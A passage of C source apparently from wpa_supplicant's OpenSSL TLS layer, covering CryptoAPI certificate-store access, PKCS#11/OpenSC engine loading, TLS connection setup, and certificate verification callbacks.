_tls_show_errors() #else /* CONFIG_NO_STDOUT_DEBUG */ static void tls_show_errors(int level, const char *func, const char *txt) { unsigned long err; wpa_printf(level, "OpenSSL: %s - %s %s", func, txt, ERR_error_string(ERR_get_error(), NULL)); while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "OpenSSL: pending error: %s", ERR_error_string(err, NULL)); } } #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifdef CONFIG_NATIVE_WINDOWS /* Windows CryptoAPI and access to certificate stores */ #include #ifdef __MINGW32_VERSION /* * MinGW does not yet include all the needed definitions for CryptoAPI, so * define here whatever extra is needed. */ #define CERT_SYSTEM_STORE_CURRENT_USER (1 << 16) #define CERT_STORE_READONLY_FLAG 0x00008000 #define CERT_STORE_OPEN_EXISTING_FLAG 0x00004000 #endif /* __MINGW32_VERSION */ struct cryptoapi_rsa_data { const CERT_CONTEXT *cert; HCRYPTPROV crypt_prov; DWORD key_spec; BOOL free_crypt_prov; }; static void cryptoapi_error(const char *msg) { wpa_printf(MSG_INFO, "CryptoAPI: %s; err=%u", msg, (unsigned int) GetLastError()); } static int cryptoapi_rsa_pub_enc(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static int cryptoapi_rsa_pub_dec(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static int cryptoapi_rsa_priv_enc(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { struct cryptoapi_rsa_data *priv = (struct cryptoapi_rsa_data *) rsa->meth->app_data; HCRYPTHASH hash; DWORD hash_size, len, i; unsigned char *buf = NULL; int ret = 0; if (priv == NULL) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_PASSED_NULL_PARAMETER); return 0; } if (padding != RSA_PKCS1_PADDING) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_UNKNOWN_PADDING_TYPE); return 0; } if (flen != 16 /* MD5 */ + 20 /* SHA-1 */) { wpa_printf(MSG_INFO, "%s - only MD5-SHA1 hash supported", __func__); RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_INVALID_MESSAGE_LENGTH); return 0; } if (!CryptCreateHash(priv->crypt_prov, CALG_SSL3_SHAMD5, 0, 0, &hash)) { cryptoapi_error("CryptCreateHash failed"); return 0; } len = sizeof(hash_size); if (!CryptGetHashParam(hash, HP_HASHSIZE, (BYTE *) &hash_size, &len, 0)) { cryptoapi_error("CryptGetHashParam failed"); goto err; } if ((int) hash_size != flen) { wpa_printf(MSG_INFO, "CryptoAPI: Invalid hash size (%u != %d)", (unsigned) hash_size, flen); RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, RSA_R_INVALID_MESSAGE_LENGTH); goto err; } if (!CryptSetHashParam(hash, HP_HASHVAL, (BYTE * ) from, 0)) { cryptoapi_error("CryptSetHashParam failed"); goto err; } len = RSA_size(rsa); buf = os_malloc(len); if (buf == NULL) { RSAerr(RSA_F_RSA_EAY_PRIVATE_ENCRYPT, ERR_R_MALLOC_FAILURE); goto err; } if (!CryptSignHash(hash, priv->key_spec, NULL, 0, buf, &len)) { cryptoapi_error("CryptSignHash failed"); goto err; } for (i = 0; i < len; i++) to[i] = buf[len - i - 1]; ret = len; err: os_free(buf); CryptDestroyHash(hash); return ret; } static int cryptoapi_rsa_priv_dec(int flen, const unsigned char *from, unsigned char *to, RSA *rsa, int padding) { wpa_printf(MSG_DEBUG, "%s - not implemented", __func__); return 0; } static void cryptoapi_free_data(struct cryptoapi_rsa_data *priv) { if (priv == NULL) return; if (priv->crypt_prov && priv->free_crypt_prov) CryptReleaseContext(priv->crypt_prov, 0); if (priv->cert) CertFreeCertificateContext(priv->cert); os_free(priv); } static int cryptoapi_finish(RSA *rsa) { cryptoapi_free_data((struct cryptoapi_rsa_data *) rsa->meth->app_data); os_free((void *) rsa->meth); rsa->meth = NULL; return 1; } static const CERT_CONTEXT * cryptoapi_find_cert(const char *name, DWORD store) { HCERTSTORE cs; const CERT_CONTEXT *ret = NULL; cs = CertOpenStore((LPCSTR) CERT_STORE_PROV_SYSTEM, 0, 0, store | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, L"MY"); if (cs == NULL) { cryptoapi_error("Failed to open 'My system store'"); return NULL; } if (strncmp(name, "cert://", 7) == 0) { unsigned short wbuf[255]; MultiByteToWideChar(CP_ACP, 0, name + 7, -1, wbuf, 255); ret = CertFindCertificateInStore(cs, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_SUBJECT_STR, wbuf, NULL); } else if (strncmp(name, "hash://", 7) == 0) { CRYPT_HASH_BLOB blob; int len; const char *hash = name + 7; unsigned char *buf; len = os_strlen(hash) / 2; buf = os_malloc(len); if (buf && hexstr2bin(hash, buf, len) == 0) { blob.cbData = len; blob.pbData = buf; ret = CertFindCertificateInStore(cs, X509_ASN_ENCODING | PKCS_7_ASN_ENCODING, 0, CERT_FIND_HASH, &blob, NULL); } os_free(buf); } CertCloseStore(cs, 0); return ret; } static int tls_cryptoapi_cert(SSL *ssl, const char *name) { X509 *cert = NULL; RSA *rsa = NULL, *pub_rsa; struct cryptoapi_rsa_data *priv; RSA_METHOD *rsa_meth; if (name == NULL || (strncmp(name, "cert://", 7) != 0 && strncmp(name, "hash://", 7) != 0)) return -1; priv = os_zalloc(sizeof(*priv)); rsa_meth = os_zalloc(sizeof(*rsa_meth)); if (priv == NULL || rsa_meth == NULL) { wpa_printf(MSG_WARNING, "CryptoAPI: Failed to allocate memory " "for CryptoAPI RSA method"); os_free(priv); os_free(rsa_meth); return -1; } priv->cert = cryptoapi_find_cert(name, CERT_SYSTEM_STORE_CURRENT_USER); if (priv->cert == NULL) { priv->cert = cryptoapi_find_cert( name, CERT_SYSTEM_STORE_LOCAL_MACHINE); } if (priv->cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not find certificate " "'%s'", name); goto err; } cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &priv->cert->pbCertEncoded, priv->cert->cbCertEncoded); if (cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not process X509 DER " "encoding"); goto err; } if (!CryptAcquireCertificatePrivateKey(priv->cert, CRYPT_ACQUIRE_COMPARE_KEY_FLAG, NULL, &priv->crypt_prov, &priv->key_spec, &priv->free_crypt_prov)) { cryptoapi_error("Failed to acquire a private key for the " "certificate"); goto err; } rsa_meth->name = "Microsoft CryptoAPI RSA Method"; rsa_meth->rsa_pub_enc = cryptoapi_rsa_pub_enc; rsa_meth->rsa_pub_dec = cryptoapi_rsa_pub_dec; rsa_meth->rsa_priv_enc = cryptoapi_rsa_priv_enc; rsa_meth->rsa_priv_dec = cryptoapi_rsa_priv_dec; rsa_meth->finish = cryptoapi_finish; rsa_meth->flags = RSA_METHOD_FLAG_NO_CHECK; rsa_meth->app_data = (char *) priv; rsa = RSA_new(); if (rsa == NULL) { SSLerr(SSL_F_SSL_CTX_USE_CERTIFICATE_FILE, ERR_R_MALLOC_FAILURE); goto err; } if (!SSL_use_certificate(ssl, cert)) { RSA_free(rsa); rsa = NULL; goto err; } pub_rsa = cert->cert_info->key->pkey->pkey.rsa; X509_free(cert); cert = NULL; rsa->n = BN_dup(pub_rsa->n); rsa->e = BN_dup(pub_rsa->e); if (!RSA_set_method(rsa, rsa_meth)) goto err; if (!SSL_use_RSAPrivateKey(ssl, rsa)) goto err; RSA_free(rsa); return 0; err: if (cert) X509_free(cert); if (rsa) RSA_free(rsa); else { os_free(rsa_meth); cryptoapi_free_data(priv); } return -1; } static int tls_cryptoapi_ca_cert(SSL_CTX *ssl_ctx, SSL *ssl, const char *name) { HCERTSTORE cs; PCCERT_CONTEXT ctx = NULL; X509 *cert; char buf[128]; const char *store; #ifdef UNICODE WCHAR *wstore; #endif /* UNICODE */ if (name == NULL || strncmp(name, "cert_store://", 13) != 0) return -1; store = name + 13; #ifdef UNICODE wstore = os_malloc((os_strlen(store) + 1) * sizeof(WCHAR)); if (wstore == NULL) return -1; wsprintf(wstore, L"%S", store); cs = CertOpenSystemStore(0, wstore); os_free(wstore); #else /* UNICODE */ cs = CertOpenSystemStore(0, store); #endif /* UNICODE */ if (cs == NULL) { wpa_printf(MSG_DEBUG, "%s: failed to open system cert store " "'%s': error=%d", __func__, store, (int) GetLastError()); return -1; } while ((ctx = CertEnumCertificatesInStore(cs, ctx))) { cert = d2i_X509(NULL, (OPENSSL_d2i_TYPE) &ctx->pbCertEncoded, ctx->cbCertEncoded); if (cert == NULL) { wpa_printf(MSG_INFO, "CryptoAPI: Could not process " "X509 DER encoding for CA cert"); continue; } X509_NAME_oneline(X509_get_subject_name(cert), buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "OpenSSL: Loaded CA certificate for " "system certificate store: subject='%s'", buf); if (!X509_STORE_add_cert(ssl_ctx->cert_store, cert)) { tls_show_errors(MSG_WARNING, __func__, "Failed to add ca_cert to OpenSSL " "certificate store"); } X509_free(cert); } if (!CertCloseStore(cs, 0)) { wpa_printf(MSG_DEBUG, "%s: failed to close system cert store " "'%s': error=%d", __func__, name + 13, (int) GetLastError()); } return 0; } #else /* CONFIG_NATIVE_WINDOWS */ static int tls_cryptoapi_cert(SSL *ssl, const char *name) { return -1; } #endif /* CONFIG_NATIVE_WINDOWS */ static void ssl_info_cb(const SSL *ssl, int where, int ret) { const char *str; int w; wpa_printf(MSG_DEBUG, "SSL: (where=0x%x ret=0x%x)", where, ret); w = where & ~SSL_ST_MASK; if (w & SSL_ST_CONNECT) str = "SSL_connect"; else if (w & SSL_ST_ACCEPT) str = "SSL_accept"; else str = "undefined"; if (where & SSL_CB_LOOP) { wpa_printf(MSG_DEBUG, "SSL: %s:%s", str, SSL_state_string_long(ssl)); } else if (where & SSL_CB_ALERT) { wpa_printf(MSG_INFO, "SSL: SSL3 alert: %s:%s:%s", where & SSL_CB_READ ? "read (remote end reported an error)" : "write (local SSL3 detected an error)", SSL_alert_type_string_long(ret), SSL_alert_desc_string_long(ret)); if ((ret >> 8) == SSL3_AL_FATAL) { struct tls_connection *conn = SSL_get_app_data((SSL *) ssl); if (where & SSL_CB_READ) conn->read_alerts++; else conn->write_alerts++; } } else if (where & SSL_CB_EXIT && ret <= 0) { wpa_printf(MSG_DEBUG, "SSL: %s:%s in %s", str, ret == 0 ? "failed" : "error", SSL_state_string_long(ssl)); } } #ifndef OPENSSL_NO_ENGINE /** * tls_engine_load_dynamic_generic - load any openssl engine * @pre: an array of commands and values that load an engine initialized * in the engine specific function * @post: an array of commands and values that initialize an already loaded * engine (or %NULL if not required) * @id: the engine id of the engine to load (only required if post is not %NULL * * This function is a generic function that loads any openssl engine. * * Returns: 0 on success, -1 on failure */ static int tls_engine_load_dynamic_generic(const char *pre[], const char *post[], const char *id) { ENGINE *engine; const char *dynamic_id = "dynamic"; engine = ENGINE_by_id(id); if (engine) { ENGINE_free(engine); wpa_printf(MSG_DEBUG, "ENGINE: engine '%s' is already " "available", id); return 0; } ERR_clear_error(); engine = ENGINE_by_id(dynamic_id); if (engine == NULL) { wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]", dynamic_id, ERR_error_string(ERR_get_error(), NULL)); return -1; } /* Perform the pre commands. This will load the engine. */ while (pre && pre[0]) { wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", pre[0], pre[1]); if (ENGINE_ctrl_cmd_string(engine, pre[0], pre[1], 0) == 0) { wpa_printf(MSG_INFO, "ENGINE: ctrl cmd_string failed: " "%s %s [%s]", pre[0], pre[1], ERR_error_string(ERR_get_error(), NULL)); ENGINE_free(engine); return -1; } pre += 2; } /* * Free the reference to the "dynamic" engine. The loaded engine can * now be looked up using ENGINE_by_id(). */ ENGINE_free(engine); engine = ENGINE_by_id(id); if (engine == NULL) { wpa_printf(MSG_INFO, "ENGINE: Can't find engine %s [%s]", id, ERR_error_string(ERR_get_error(), NULL)); return -1; } while (post && post[0]) { wpa_printf(MSG_DEBUG, "ENGINE: '%s' '%s'", post[0], post[1]); if (ENGINE_ctrl_cmd_string(engine, post[0], post[1], 0) == 0) { wpa_printf(MSG_DEBUG, "ENGINE: ctrl cmd_string failed:" " %s %s [%s]", post[0], post[1], ERR_error_string(ERR_get_error(), NULL)); ENGINE_remove(engine); ENGINE_free(engine); return -1; } post += 2; } ENGINE_free(engine); return 0; } /** * tls_engine_load_dynamic_pkcs11 - load the pkcs11 engine provided by opensc * @pkcs11_so_path: pksc11_so_path from the configuration * @pcks11_module_path: pkcs11_module_path from the configuration */ static int tls_engine_load_dynamic_pkcs11(const char *pkcs11_so_path, const char *pkcs11_module_path) { char *engine_id = "pkcs11"; const char *pre_cmd[] = { "SO_PATH", NULL /* pkcs11_so_path */, "ID", NULL /* engine_id */, "LIST_ADD", "1", /* "NO_VCHECK", "1", */ "LOAD", NULL, NULL, NULL }; const char *post_cmd[] = { "MODULE_PATH", NULL /* pkcs11_module_path */, NULL, NULL }; if (!pkcs11_so_path || !pkcs11_module_path) return 0; pre_cmd[1] = pkcs11_so_path; pre_cmd[3] = engine_id; post_cmd[1] = pkcs11_module_path; wpa_printf(MSG_DEBUG, "ENGINE: Loading pkcs11 Engine from %s", pkcs11_so_path); return tls_engine_load_dynamic_generic(pre_cmd, post_cmd, engine_id); } /** * tls_engine_load_dynamic_opensc - load the opensc engine provided by opensc * @opensc_so_path: opensc_so_path from the configuration */ static int tls_engine_load_dynamic_opensc(const char *opensc_so_path) { char *engine_id = "opensc"; const char *pre_cmd[] = { "SO_PATH", NULL /* opensc_so_path */, "ID", NULL /* engine_id */, "LIST_ADD", "1", "LOAD", NULL, NULL, NULL }; if (!opensc_so_path) return 0; pre_cmd[1] = opensc_so_path; pre_cmd[3] = engine_id; wpa_printf(MSG_DEBUG, "ENGINE: Loading OpenSC Engine from %s", opensc_so_path); return tls_engine_load_dynamic_generic(pre_cmd, NULL, engine_id); } #endif /* OPENSSL_NO_ENGINE */ void * tls_init(const struct tls_config *conf) { SSL_CTX *ssl; if (tls_openssl_ref_count == 0) { tls_global = os_zalloc(sizeof(*tls_global)); if (tls_global == NULL) return NULL; if (conf) { tls_global->event_cb = conf->event_cb; tls_global->cb_ctx = conf->cb_ctx; } #ifdef CONFIG_FIPS #ifdef OPENSSL_FIPS if (conf && conf->fips_mode) { if (!FIPS_mode_set(1)) { wpa_printf(MSG_ERROR, "Failed to enable FIPS " "mode"); ERR_load_crypto_strings(); ERR_print_errors_fp(stderr); return NULL; } else wpa_printf(MSG_INFO, "Running in FIPS mode"); } #else /* OPENSSL_FIPS */ if (conf && conf->fips_mode) { wpa_printf(MSG_ERROR, "FIPS mode requested, but not " "supported"); return NULL; } #endif /* OPENSSL_FIPS */ #endif /* CONFIG_FIPS */ SSL_load_error_strings(); SSL_library_init(); #ifndef OPENSSL_NO_SHA256 EVP_add_digest(EVP_sha256()); #endif /* OPENSSL_NO_SHA256 */ /* TODO: if /dev/urandom is available, PRNG is seeded * automatically. If this is not the case, random data should * be added here. */ #ifdef PKCS12_FUNCS #ifndef OPENSSL_NO_RC2 /* * 40-bit RC2 is commonly used in PKCS#12 files, so enable it. * This is enabled by PKCS12_PBE_add() in OpenSSL 0.9.8 * versions, but it looks like OpenSSL 1.0.0 does not do that * anymore. */ EVP_add_cipher(EVP_rc2_40_cbc()); #endif /* OPENSSL_NO_RC2 */ PKCS12_PBE_add(); #endif /* PKCS12_FUNCS */ } tls_openssl_ref_count++; ssl = SSL_CTX_new(TLSv1_method()); if (ssl == NULL) return NULL; SSL_CTX_set_info_callback(ssl, ssl_info_cb); #ifndef OPENSSL_NO_ENGINE if (conf && (conf->opensc_engine_path || conf->pkcs11_engine_path || conf->pkcs11_module_path)) { wpa_printf(MSG_DEBUG, "ENGINE: Loading dynamic engine"); ERR_load_ENGINE_strings(); ENGINE_load_dynamic(); if (tls_engine_load_dynamic_opensc(conf->opensc_engine_path) || tls_engine_load_dynamic_pkcs11(conf->pkcs11_engine_path, conf->pkcs11_module_path)) { tls_deinit(ssl); return NULL; } } #endif /* OPENSSL_NO_ENGINE */ return ssl; } void tls_deinit(void *ssl_ctx) { SSL_CTX *ssl = ssl_ctx; SSL_CTX_free(ssl); tls_openssl_ref_count--; if (tls_openssl_ref_count == 0) { #ifndef OPENSSL_NO_ENGINE ENGINE_cleanup(); #endif /* OPENSSL_NO_ENGINE */ CRYPTO_cleanup_all_ex_data(); ERR_remove_state(0); ERR_free_strings(); EVP_cleanup(); os_free(tls_global); tls_global = NULL; } } static int tls_engine_init(struct tls_connection *conn, const char *engine_id, const char *pin, const char *key_id, const char *cert_id, const char *ca_cert_id) { #ifndef OPENSSL_NO_ENGINE int ret = -1; if (engine_id == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Engine ID not set"); return -1; } if (pin == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Smartcard PIN not set"); return -1; } if (key_id == NULL) { wpa_printf(MSG_ERROR, "ENGINE: Key Id not set"); return -1; } ERR_clear_error(); conn->engine = ENGINE_by_id(engine_id); if (!conn->engine) { wpa_printf(MSG_ERROR, "ENGINE: engine %s not available [%s]", engine_id, ERR_error_string(ERR_get_error(), NULL)); goto err; } if (ENGINE_init(conn->engine) != 1) { wpa_printf(MSG_ERROR, "ENGINE: engine init failed " "(engine: %s) [%s]", engine_id, ERR_error_string(ERR_get_error(), NULL)); goto err; } wpa_printf(MSG_DEBUG, "ENGINE: engine initialized"); if (ENGINE_ctrl_cmd_string(conn->engine, "PIN", pin, 0) == 0) { wpa_printf(MSG_ERROR, "ENGINE: cannot set pin [%s]", ERR_error_string(ERR_get_error(), NULL)); goto err; } /* load private key first in-case PIN is required for cert */ conn->private_key = ENGINE_load_private_key(conn->engine, key_id, NULL, NULL); if (!conn->private_key) { wpa_printf(MSG_ERROR, "ENGINE: cannot load private key with id" " '%s' [%s]", key_id, ERR_error_string(ERR_get_error(), NULL)); ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; goto err; } /* handle a certificate and/or CA certificate */ if (cert_id || ca_cert_id) { const char *cmd_name = "LOAD_CERT_CTRL"; /* test if the engine supports a LOAD_CERT_CTRL */ if (!ENGINE_ctrl(conn->engine, ENGINE_CTRL_GET_CMD_FROM_NAME, 0, (void *)cmd_name, NULL)) { wpa_printf(MSG_ERROR, "ENGINE: engine does not support" " loading certificates"); ret = TLS_SET_PARAMS_ENGINE_PRV_INIT_FAILED; goto err; } } return 0; err: if (conn->engine) { ENGINE_free(conn->engine); conn->engine = NULL; } if (conn->private_key) { EVP_PKEY_free(conn->private_key); conn->private_key = NULL; } return ret; #else /* OPENSSL_NO_ENGINE */ return 0; #endif /* OPENSSL_NO_ENGINE */ } static void tls_engine_deinit(struct tls_connection *conn) { #ifndef OPENSSL_NO_ENGINE wpa_printf(MSG_DEBUG, "ENGINE: engine deinit"); if (conn->private_key) { EVP_PKEY_free(conn->private_key); conn->private_key = NULL; } if (conn->engine) { ENGINE_finish(conn->engine); conn->engine = NULL; } #endif /* OPENSSL_NO_ENGINE */ } int tls_get_errors(void *ssl_ctx) { int count = 0; unsigned long err; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "TLS - SSL error: %s", ERR_error_string(err, NULL)); count++; } return count; } struct tls_connection * tls_connection_init(void *ssl_ctx) { SSL_CTX *ssl = ssl_ctx; struct tls_connection *conn; long options; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->ssl = SSL_new(ssl); if (conn->ssl == NULL) { tls_show_errors(MSG_INFO, __func__, "Failed to initialize new SSL connection"); os_free(conn); return NULL; } SSL_set_app_data(conn->ssl, conn); options = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP_SINGLE_DH_USE; #ifdef SSL_OP_NO_COMPRESSION options |= SSL_OP_NO_COMPRESSION; #endif /* SSL_OP_NO_COMPRESSION */ SSL_set_options(conn->ssl, options); conn->ssl_in = BIO_new(BIO_s_mem()); if (!conn->ssl_in) { tls_show_errors(MSG_INFO, __func__, "Failed to create a new BIO for ssl_in"); SSL_free(conn->ssl); os_free(conn); return NULL; } conn->ssl_out = BIO_new(BIO_s_mem()); if (!conn->ssl_out) { tls_show_errors(MSG_INFO, __func__, "Failed to create a new BIO for ssl_out"); SSL_free(conn->ssl); BIO_free(conn->ssl_in); os_free(conn); return NULL; } SSL_set_bio(conn->ssl, conn->ssl_in, conn->ssl_out); return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; SSL_free(conn->ssl); tls_engine_deinit(conn); os_free(conn->subject_match); os_free(conn->altsubject_match); os_free(conn->session_ticket); os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? SSL_is_init_finished(conn->ssl) : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; /* Shutdown previous TLS connection without notifying the peer * because the connection was already terminated in practice * and "close notify" shutdown alert would confuse AS. */ SSL_set_quiet_shutdown(conn->ssl, 1); SSL_shutdown(conn->ssl); return 0; } static int tls_match_altsubject_component(X509 *cert, int type, const char *value, size_t len) { GENERAL_NAME *gen; void *ext; int i, found = 0; ext = X509_get_ext_d2i(cert, NID_subject_alt_name, NULL, NULL); for (i = 0; ext && i < sk_GENERAL_NAME_num(ext); i++) { gen = sk_GENERAL_NAME_value(ext, i); if (gen->type != type) continue; if (os_strlen((char *) gen->d.ia5->data) == len && os_memcmp(value, gen->d.ia5->data, len) == 0) found++; } return found; } static int tls_match_altsubject(X509 *cert, const char *match) { int type; const char *pos, *end; size_t len; pos = match; do { if (os_strncmp(pos, "EMAIL:", 6) == 0) { type = GEN_EMAIL; pos += 6; } else if (os_strncmp(pos, "DNS:", 4) == 0) { type = GEN_DNS; pos += 4; } else if (os_strncmp(pos, "URI:", 4) == 0) { type = GEN_URI; pos += 4; } else { wpa_printf(MSG_INFO, "TLS: Invalid altSubjectName " "match '%s'", pos); return 0; } end = os_strchr(pos, ';'); while (end) { if (os_strncmp(end + 1, "EMAIL:", 6) == 0 || os_strncmp(end + 1, "DNS:", 4) == 0 || os_strncmp(end + 1, "URI:", 4) == 0) break; end = os_strchr(end + 1, ';'); } if (end) len = end - pos; else len = os_strlen(pos); if (tls_match_altsubject_component(cert, type, pos, len) > 0) return 1; pos = end + 1; } while (end); return 0; } static enum tls_fail_reason openssl_tls_fail_reason(int err) { switch (err) { case X509_V_ERR_CERT_REVOKED: return TLS_FAIL_REVOKED; case X509_V_ERR_CERT_NOT_YET_VALID: case X509_V_ERR_CRL_NOT_YET_VALID: return TLS_FAIL_NOT_YET_VALID; case X509_V_ERR_CERT_HAS_EXPIRED: case X509_V_ERR_CRL_HAS_EXPIRED: return TLS_FAIL_EXPIRED; case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT: case X509_V_ERR_UNABLE_TO_GET_CRL: case X509_V_ERR_UNABLE_TO_GET_CRL_ISSUER: case X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN: case X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY: case X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT: case X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE: case X509_V_ERR_CERT_CHAIN_TOO_LONG: case X509_V_ERR_PATH_LENGTH_EXCEEDED: case X509_V_ERR_INVALID_CA: return TLS_FAIL_UNTRUSTED; case X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE: case X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE: case X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY: case X509_V_ERR_ERROR_IN_CERT_NOT_BEFORE_FIELD: case X509_V_ERR_ERROR_IN_CERT_NOT_AFTER_FIELD: case X509_V_ERR_ERROR_IN_CRL_LAST_UPDATE_FIELD: case X509_V_ERR_ERROR_IN_CRL_NEXT_UPDATE_FIELD: case X509_V_ERR_CERT_UNTRUSTED: case X509_V_ERR_CERT_REJECTED: return TLS_FAIL_BAD_CERTIFICATE; default: return TLS_FAIL_UNSPECIFIED; } } static struct wpabuf * get_x509_cert(X509 *cert) { struct wpabuf *buf; u8 *tmp; int cert_len = i2d_X509(cert, NULL); if (cert_len <= 0) return NULL; buf = wpabuf_alloc(cert_len); if (buf == NULL) return NULL; tmp = wpabuf_put(buf, cert_len); i2d_X509(cert, &tmp); return buf; } static void openssl_tls_fail_event(struct tls_connection *conn, X509 *err_cert, int err, int depth, const char *subject, const char *err_str, enum tls_fail_reason reason) { union tls_event_data ev; struct wpabuf *cert = NULL; if (tls_global->event_cb == NULL) return; cert = get_x509_cert(err_cert); os_memset(&ev, 0, sizeof(ev)); ev.cert_fail.reason = reason != TLS_FAIL_UNSPECIFIED ? reason : openssl_tls_fail_reason(err); ev.cert_fail.depth = depth; ev.cert_fail.subject = subject; ev.cert_fail.reason_txt = err_str; ev.cert_fail.cert = cert; tls_global->event_cb(tls_global->cb_ctx, TLS_CERT_CHAIN_FAILURE, &ev); wpabuf_free(cert); } static void openssl_tls_cert_event(struct tls_connection *conn, X509 *err_cert, int depth, const char *subject) { struct wpabuf *cert = NULL; union tls_event_data ev; #ifdef CONFIG_SHA256 u8 hash[32]; #endif /* CONFIG_SHA256 */ if (tls_global->event_cb == NULL) return; os_memset(&ev, 0, sizeof(ev)); if (conn->cert_probe) { cert = get_x509_cert(err_cert); ev.peer_cert.cert = cert; } #ifdef CONFIG_SHA256 if (cert) { const u8 *addr[1]; size_t len[1]; addr[0] = wpabuf_head(cert); len[0] = wpabuf_len(cert); if (sha256_vector(1, addr, len, hash) == 0) { ev.peer_cert.hash = hash; ev.peer_cert.hash_len = sizeof(hash); } } #endif /* CONFIG_SHA256 */ ev.peer_cert.depth = depth; ev.peer_cert.subject = subject; tls_global->event_cb(tls_global->cb_ctx, TLS_PEER_CERTIFICATE, &ev); wpabuf_free(cert); } static int tls_verify_cb(int preverify_ok, X509_STORE_CTX *x509_ctx) { char buf[256]; X509 *err_cert; int err, depth; SSL *ssl; struct tls_connection *conn; char *match, *altmatch; const char *err_str; err_cert = X509_STORE_CTX_get_current_cert(x509_ctx); err = X509_STORE_CTX_get_error(x509_ctx); depth = X509_STORE_CTX_get_error_depth(x509_ctx); ssl = X509_STORE_CTX_get_ex_data(x509_ctx, SSL_get_ex_data_X509_STORE_CTX_idx()); X509_NAME_oneline(X509_get_subject_name(err_cert), buf, sizeof(buf)); conn = SSL_get_app_data(ssl); match = conn ? conn->subject_match : NULL; altmatch = conn ? conn->altsubject_match : NULL; if (!preverify_ok && !conn->ca_cert_verify) preverify_ok = 1; if (!preverify_ok && depth > 0 && conn->server_cert_only) preverify_ok = 1; err_str = X509_verify_cert_error_string(err); #ifdef CONFIG_SHA256 if (preverify_ok && depth == 0 && conn->server_cert_only) { struct wpabuf *cert; cert = get_x509_cert(err_cert); if (!cert) { wpa_printf(MSG_DEBUG, "OpenSSL: Could not fetch " "server certificate data"); preverify_ok = 0; } else { u8 hash[32]; const u8 *addr[1]; size_t len[1]; addr[0] = wpabuf_head(cert); len[0] = wpabuf_len(cert); if (sha256_vector(1, addr, len, hash) < 0 || os_memcmp(conn->srv_cert_hash, hash, 32) != 0) { err_str = "Server certificate mismatch"; err = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN; preverify_ok = 0; } wpabuf_free(cert); } } #endif /* CONFIG_SHA256 */ if (!preverify_ok) { wpa_printf(MSG_WARNING, "TLS: Certificate verification failed," " error %d (%s) depth %d for '%s'", err, err_str, depth, buf); openssl_tls_fail_event(conn, err_cert, err, depth, buf, err_str, TLS_FAIL_UNSPECIFIED); return preverify_ok; } wpa_printf(MSG_DEBUG, "TLS: tls_verify_cb - preverify_ok=%d " "err=%d (%s) ca_cert_verify=%d depth=%d buf='%s'", preverify_ok, err, err_str, conn->ca_cert_verify, depth, buf); if (depth == 0 && match && os_strstr(buf, match) == NULL) { wpa_printf(MSG_WARNING, "TLS: Subject '%s' did not " "match with '%s'", buf, match); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "Subject mismatch", TLS_FAIL_SUBJECT_MISMATCH); } else if (depth == 0 && altmatch && !tls_match_altsubject(err_cert, altmatch)) { wpa_printf(MSG_WARNING, "TLS: altSubjectName match " "'%s' not found", altmatch); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "AltSubject mismatch", TLS_FAIL_ALTSUBJECT_MISMATCH); } else openssl_tls_cert_event(conn, err_cert, depth, buf); if (conn->cert_probe && preverify_ok && depth == 0) { wpa_printf(MSG_DEBUG, "OpenSSL: Reject server certificate " "on probe-only run"); preverify_ok = 0; openssl_tls_fail_event(conn, err_cert, err, depth, buf, "Server certificate chain probe", TLS_FAIL_SERVER_CHAIN_PROBE); } return preverify_ok; } #ifndef OPENSSL_NO_STDIO static int tls_load_ca_der(void *_ssl_ctx, const char *ca_cert) { SSL_CTX *ssl_ctx = _ssl_ctx; X509_LOOKUP *lookup; int ret = 0; lookup = X509_STORE_add_lookup(ssl_ctx->cert_store, X509_LOOKUP_file()); if (lookup == NULL) { tls_show_errors(MSG_WARNING, __func__, "Failed add lookup for X509 store"); return -1; } if (!X509_LOOKUP_load_file(lookup, ca_cert, X509_FILETYPE_ASN1)) { unsigned long err = ERR_peek_error(); tls_show_errors(MSG_WARNING, __func__, "Failed load CA in DER format"); if (ERR_GET_LIB(err) == ERR_LIB_X509 && ERR_GET_REASON(err) == X509_R_CERT_ALREADY_IN_HASH_TABLE) { 